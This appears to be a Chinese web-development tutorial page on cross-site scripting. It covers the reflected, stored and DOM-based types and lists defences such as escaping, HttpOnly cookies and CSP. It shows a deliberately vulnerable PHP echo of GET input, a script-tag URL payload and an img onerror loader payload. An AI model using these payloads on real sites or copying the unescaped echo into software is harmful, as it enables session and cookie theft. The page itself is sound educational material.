前端技术文档前端技术文档
前端技术文档
  • HTML 文档
  • CSS 文档
  • JavaScript 文档
  • Browser 文档
  • Environment 文档
  • IMGProcess 文档
  • Interview 文档
前端技术文档
  • HTML 文档
  • CSS 文档
  • JavaScript 文档
  • Browser 文档
  • Environment 文档
  • IMGProcess 文档
  • Interview 文档
  • Browser 文档
  • HTTP协议概述
  • HTTP协议发展历程
  • HTTPS加密传输过程
  • GET和POST的区别
  • TCP三次握手
  • TCP与UDP异同
  • OSI七层模型
  • DNS解析过程
  • 强缓存与协商缓存
  • CDN缓存的理解
  • 跨域
  • 浏览器渲染与内核
  • 重绘与回流
  • 浏览器事件
  • 浏览器窗口间通信
  • 浏览器本地存储方案
  • 浏览器页面呈现过程
  • DOM和BOM的区别
  • Event对象
  • Document对象
  • Element对象
  • HTMLElement对象
  • Node对象
  • Window对象
  • History对象
  • Location对象
  • Navigator对象
  • MutationObserver对象
  • IntersectionObserver对象
  • domReady的理解
  • XSS跨站脚本攻击
  • CSRF跨站请求伪造
  • SQL注入
  • SSRF服务器端请求伪造
  • CSS劫持攻击
  • SSO单点登录
  • OAUTH开放授权
  • RESTful架构与RPC架构
  • 分布式SESSION一致性
  • 基于fetch的SSE方案
  • 对称加密与非对称加密
  • 微信小程序实现原理

XSS跨站脚本攻击

跨站脚本攻击XSS,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。

类型

  • 反射型XSS: 攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码,所谓反射型XSS就是将恶意用户输入的js脚本,反射到浏览器执行。

  • 存储型XSS:代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie,也被称为持久型XSS。

  • DOM型XSS:类似于反射型XSS,但这种XSS攻击的实现是通过对DOM树的修改而实现的。

原理

当动态页面中插入的内容含有这些特殊字符如<时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

攻击者可以使用户在浏览器中执行其预定义的恶意脚本,劫持用户会话,插入恶意内容、重定向链接、使用恶意软件劫持用户浏览器等等。

基于反射型XSS漏洞,欺骗用户点击以执行js代码,可以盗取cookie等。

// 直接将输入打印到页面,造成XSS
<?php 
$XssReflex = $_GET['i'];
echo $XssReflex;
<!-- 构造url,点击后就可以执行js代码 -->
http://127.0.0.1/xss.php?i=<script>alert("run javascript");</script>

基于存储型XSS漏洞,将js代码存储于服务器数据库中,服务器直接查询数据库数据显示到页面,即造成XSS
最经典的存储型XSS漏洞是留言板,当用户A在留言板留言一段JS代码<script>alert("run javascript");</script>,后端未经过滤直接存储到数据库,当正常用户浏览到他的留言后,这段JS代码就会被执行,可以借此来盗取cookie。

graph LR
恶意用户A --> 构造JS代码
构造JS代码 --> 服务器数据库
服务器数据库 --> 正常用户B显示页面
服务器数据库 --> 正常用户C显示页面
服务器数据库 --> 正常用户...显示页面
正常用户B显示页面 --> 执行js盗取cookie
正常用户C显示页面 --> 执行js盗取cookie
正常用户...显示页面 --> 执行js盗取cookie

基于DOM的型XSS漏洞类似于反射型XSS,但其变化多端,总之一句话,各种姿势,各种插,只要能执行我的Js ,利用<script>、<img>等标签允许跨域请求资源。
经典案例是可以将标签写入到软件的意见反馈中,当管理员查看留言的反馈即触发XSS,传递cookie与后台管理地址后就可以登录到后台了。

<script scr="js_url"></script>
<img src=1 onerror=appendChild(createElement('script')).src='js_url' />

防御

  • 在用户提交参数前,将提交的字符< 、>、&、" 、' 、+、/等进行转义,严格控制输出。
  • 将输入转化为小写对比javascript:,若匹配则过滤。
  • 将cookie设置为http-only,js脚本将无法读取到cookie信息。
  • 纯前端渲染,明确innerText、setAttribute、style,将代码与数据分隔开。
  • 避免不可信的数据拼接到字符串中传递给这些API,如DOM中的内联事件监听器,location、onclick、onerror、onload、onmouseover等,<a>标签的href属性,JavaScript的eval()、setTimeout()、setInterval()等,都能把字符串作为代码运行。
  • 对于不受信任的输入,都应该限定一个合理的长度。
  • 严格的CSP,禁止加载外域代码,禁止外域提交,禁止内联脚本执行等较为严格的方式。

每日一题

https://github.com/WindrunnerMax/EveryDay
Prev
domReady的理解
Next
CSRF跨站请求伪造